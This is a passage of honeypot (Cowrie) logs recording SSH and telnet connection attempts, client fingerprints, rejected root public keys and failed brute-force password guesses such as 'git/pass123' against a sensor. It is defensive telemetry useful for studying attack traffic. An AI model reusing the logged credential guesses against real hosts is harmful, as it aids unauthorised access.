a3:42:7d:36:fa:f0:23:27:ad:bd:fb:e2:00:e2:e3:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.278791Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:42:7d:36:fa:f0:23:27:ad:bd:fb:e2:00:e2:e3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG1AI2GpSYzXFpYILcbahHVNXTYc/sRAm2zV3nEVINPmQUoz94P5IkUkb5aj+CmiKordpEoIPiPbrY3dgZi3LPNSrs8r9mliqgJXY5U1QAVcitlZeFZCTeYImbF+ATtSqS4RZ4a93w/QNtinksQ3VupY7EMILa2d8ngbsOTdhHjxn0gKifEAdOENqqD2Z1QgJftaRqLaj2XCWe7GOGv72OJNoNERbLRN78e4gP4wdXwAOlqru7GQQN8Gbit65ICi/mu7GE/EXt0Cd8jGMBTKq0oS50Ln0SFLmBke3irub+aptLZJky+6+D3cDIrZpJvE97B2mtBwAX5EK8gd5sU7sb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.282480Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:b9:78:2f:61:0a:6e:d8:69:0c:b1:31:9e:2f:95:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8VIL5edH0ZtbgjxYLDOkfOCuTVpSS4ipRFmUmEI6TuSd9uDm4Ul366Y2klC9pPDODQm8OGE7uQWoW8MwgHM4aUx8HY9vtazWFucNiYso/SvgOxN1GZoNlL7HfjUWqScGfS7pcTYvV6dKpB4hECYyj3wzm0UunKylQjDnSdGOZhdaNgF+bwzwytuJ/RLqU/CEKO8gA/LC+XK2VGAbmlfMtWtnae9n0LU5zswJQewI6/frHwOrh/uSNF+ZgAd50ANez4eQKXBTCHXVlGn/ExTiDuFwp5LzXCeieNLdr3nXfoOdDwBVZmkaUwqT9h+RxO1e29VPvjO9Ng2fthsTIA/nD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:b9:78:2f:61:0a:6e:d8:69:0c:b1:31:9e:2f:95:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.401667Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:b9:78:2f:61:0a:6e:d8:69:0c:b1:31:9e:2f:95:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8VIL5edH0ZtbgjxYLDOkfOCuTVpSS4ipRFmUmEI6TuSd9uDm4Ul366Y2klC9pPDODQm8OGE7uQWoW8MwgHM4aUx8HY9vtazWFucNiYso/SvgOxN1GZoNlL7HfjUWqScGfS7pcTYvV6dKpB4hECYyj3wzm0UunKylQjDnSdGOZhdaNgF+bwzwytuJ/RLqU/CEKO8gA/LC+XK2VGAbmlfMtWtnae9n0LU5zswJQewI6/frHwOrh/uSNF+ZgAd50ANez4eQKXBTCHXVlGn/ExTiDuFwp5LzXCeieNLdr3nXfoOdDwBVZmkaUwqT9h+RxO1e29VPvjO9Ng2fthsTIA/nD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.404385Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:64:50:24:40:b1:1c:df:1e:1b:81:e2:2d:10:ae:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxNZ9uArTC2A0z1EgE0l5FS2dn1weshYVoNvuQtnrjUHC1/K09+WJLo+tw8AHP2kQ7qzXBg6htVSvJxt1HwnuEP+d9mQdlyAwhti7qx3EmMK0n+gTCOhtYUZX5c1FTUTLayVWFnJAftpDCqk/8Q91iae8RmIAQ3+03O3OdUfrnFo5fpzMBO46ZiPL2JEP0NpBFToFAHY3CW15omqNHM27Z0Kxk1stHmpp82h9TqfZ5Nkc/5BU/uGQ9caWmYyU9Gd+QcrDjBSPHfuPG8p2g63zy3RD4rUMkwZu9BfXbd1XujG1218jbYIp2BXnLtkCcdNsi08cgyOXavxLK2ofIINkswRRrSJgXbcpfXtycXNG7WV6aw8U+/uyd+lSuEd0iyuOFYe1h5GsenlbiRxwGK1dUcjFccm8WwFG2eHkDCw/TD9UhEjnQvICT80GceUBffesaL1u8V0//0QuDM9GT5HbX09ObPoQuMNgLg6qmyNmzBDkPK3IagLyeJ806n3ghtzf98GEhfuKbG38m+I6gmU0bTFoM9nZ5FO1TBktkyNcyP7xHLByCzk3sm6ZvyjnM45vwXSuhorN43xhw93DrLJy4SgDEY6uFRBsxV0u3R2ZhZe9zsl9jMvKnXTxSLvdEZ94gRazHXTMVNKVUCfTgBGw43o6YpvTPsHPmdZgmzJKn5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:64:50:24:40:b1:1c:df:1e:1b:81:e2:2d:10:ae:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.522330Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:64:50:24:40:b1:1c:df:1e:1b:81:e2:2d:10:ae:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxNZ9uArTC2A0z1EgE0l5FS2dn1weshYVoNvuQtnrjUHC1/K09+WJLo+tw8AHP2kQ7qzXBg6htVSvJxt1HwnuEP+d9mQdlyAwhti7qx3EmMK0n+gTCOhtYUZX5c1FTUTLayVWFnJAftpDCqk/8Q91iae8RmIAQ3+03O3OdUfrnFo5fpzMBO46ZiPL2JEP0NpBFToFAHY3CW15omqNHM27Z0Kxk1stHmpp82h9TqfZ5Nkc/5BU/uGQ9caWmYyU9Gd+QcrDjBSPHfuPG8p2g63zy3RD4rUMkwZu9BfXbd1XujG1218jbYIp2BXnLtkCcdNsi08cgyOXavxLK2ofIINkswRRrSJgXbcpfXtycXNG7WV6aw8U+/uyd+lSuEd0iyuOFYe1h5GsenlbiRxwGK1dUcjFccm8WwFG2eHkDCw/TD9UhEjnQvICT80GceUBffesaL1u8V0//0QuDM9GT5HbX09ObPoQuMNgLg6qmyNmzBDkPK3IagLyeJ806n3ghtzf98GEhfuKbG38m+I6gmU0bTFoM9nZ5FO1TBktkyNcyP7xHLByCzk3sm6ZvyjnM45vwXSuhorN43xhw93DrLJy4SgDEY6uFRBsxV0u3R2ZhZe9zsl9jMvKnXTxSLvdEZ94gRazHXTMVNKVUCfTgBGw43o6YpvTPsHPmdZgmzJKn5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.525251Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:50:f5:15:69:28:99:4a:22:fd:9c:1d:52:c3:0d:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm8ZG/cTOsATpHb4ePwSfNzLj4q8gFr2RUSR73B3iNlJBa5imvX+X5AXx1Y2nQctsTTMWkVMYQHK/4ch6i3gAueK7fShs1aSZ0lxldSvjTagh6jWMc4ONFf45vDZYa1NvlGZXdCa/s2shesQcl9r1v3PlrMsB8MNTtsSo8HZgGnxKMnUQBVXCvJFFrlyIFHboSmCYVEa43zZ+/xFT5Up06+ph7aXaSzViZNAAMjspsd7jmAQf9HepqLh0YHiSDDuILqFGDwifEtpwhZdhg1Wgq1eU7kmghzYdnYRMKncl7qTnyRk0ESOKO5gwNOjZsjI8Pij7RpoBXzJfvI/+QMmt3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:50:f5:15:69:28:99:4a:22:fd:9c:1d:52:c3:0d:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.643009Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:50:f5:15:69:28:99:4a:22:fd:9c:1d:52:c3:0d:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm8ZG/cTOsATpHb4ePwSfNzLj4q8gFr2RUSR73B3iNlJBa5imvX+X5AXx1Y2nQctsTTMWkVMYQHK/4ch6i3gAueK7fShs1aSZ0lxldSvjTagh6jWMc4ONFf45vDZYa1NvlGZXdCa/s2shesQcl9r1v3PlrMsB8MNTtsSo8HZgGnxKMnUQBVXCvJFFrlyIFHboSmCYVEa43zZ+/xFT5Up06+ph7aXaSzViZNAAMjspsd7jmAQf9HepqLh0YHiSDDuILqFGDwifEtpwhZdhg1Wgq1eU7kmghzYdnYRMKncl7qTnyRk0ESOKO5gwNOjZsjI8Pij7RpoBXzJfvI/+QMmt3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.645931Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.763933Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:12.111213Z","src_ip":"201.222.20.20","session":"7308a7db9084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43910,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72ab179b426","protocol":"telnet","message":"New connection: 170.64.224.25:43910 (159.203.135.109:23) [session: a72ab179b426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:27.379063Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56522,"dst_ip":"10.17.0.5","dst_port":22,"session":"1548df89d897","protocol":"ssh","message":"New connection: 8.210.75.243:56522 (10.17.0.5:22) [session: 1548df89d897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:28.765734Z"}
{"eventid":"cowrie.session.closed","duration":50.15317344665527,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:37.210829Z","src_ip":"170.64.224.25","session":"ea42134543cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":46674,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cffe209d28a","protocol":"ssh","message":"New connection: 119.203.251.187:46674 (10.17.0.5:22) [session: 7cffe209d28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:41.656621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:41.660852Z","src_ip":"119.203.251.187","session":"7cffe209d28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:41.863896Z","src_ip":"119.203.251.187","session":"7cffe209d28a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890.a","message":"login attempt [root/1234567890.a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:42.709877Z","src_ip":"119.203.251.187","session":"7cffe209d28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:43.916286Z","src_ip":"119.203.251.187","session":"7cffe209d28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40376,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3af2b4048e7","protocol":"ssh","message":"New connection: 8.210.75.243:40376 (10.17.0.5:22) [session: a3af2b4048e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:49.364668Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":53978,"dst_ip":"10.17.0.5","dst_port":22,"session":"877073bc8864","protocol":"ssh","message":"New connection: 91.92.40.4:53978 (10.17.0.5:22) [session: 877073bc8864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:08.051800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:08.059970Z","src_ip":"91.92.40.4","session":"877073bc8864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:08.146331Z","src_ip":"91.92.40.4","session":"877073bc8864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwerty123","message":"login attempt [hadoop/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:08.397162Z","src_ip":"91.92.40.4","session":"877073bc8864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:09.480957Z","src_ip":"91.92.40.4","session":"877073bc8864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:10.013317Z","src_ip":"8.210.75.243","session":"97ebdc2d37b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.50564527511597,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:20.883983Z","src_ip":"170.64.224.25","session":"a72ab179b426","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52490,"dst_ip":"10.17.0.5","dst_port":22,"session":"d123e5d95e3d","protocol":"ssh","message":"New connection: 8.210.75.243:52490 (10.17.0.5:22) [session: d123e5d95e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:24.372230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:24.385664Z","src_ip":"8.210.75.243","session":"d123e5d95e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":32932,"dst_ip":"10.17.0.5","dst_port":22,"session":"66f2a3892439","protocol":"ssh","message":"New connection: 14.29.214.161:32932 (10.17.0.5:22) [session: 66f2a3892439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:28.189181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:28.196178Z","src_ip":"14.29.214.161","session":"66f2a3892439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:28.431087Z","src_ip":"14.29.214.161","session":"66f2a3892439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass123","message":"login attempt [git/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:30.076977Z","src_ip":"14.29.214.161","session":"66f2a3892439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":37428,"dst_ip":"159.203.135.109","dst_port":22,"session":"2faf55446cde","protocol":"ssh","message":"New connection: 159.65.58.200:37428 (159.203.135.109:22) [session: 2faf55446cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:34.093923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:34.320747Z","src_ip":"159.65.58.200","session":"2faf55446cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:34.324063Z","src_ip":"159.65.58.200","session":"2faf55446cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svistun","password":"123456","message":"login attempt [svistun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:35.827749Z","src_ip":"159.65.58.200","session":"2faf55446cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:37.119146Z","src_ip":"159.65.58.200","session":"2faf55446cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45770,"dst_ip":"159.203.135.109","dst_port":23,"session":"61c1c8874483","protocol":"telnet","message":"New connection: 170.64.224.25:45770 (159.203.135.109:23) [session: 61c1c8874483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:37.696733Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":42644,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca44aaa1b70d","protocol":"ssh","message":"New connection: 201.222.20.20:42644 (10.17.0.5:22) [session: ca44aaa1b70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:49.016910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:30:49.023177Z","src_ip":"201.222.20.20","session":"ca44aaa1b70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 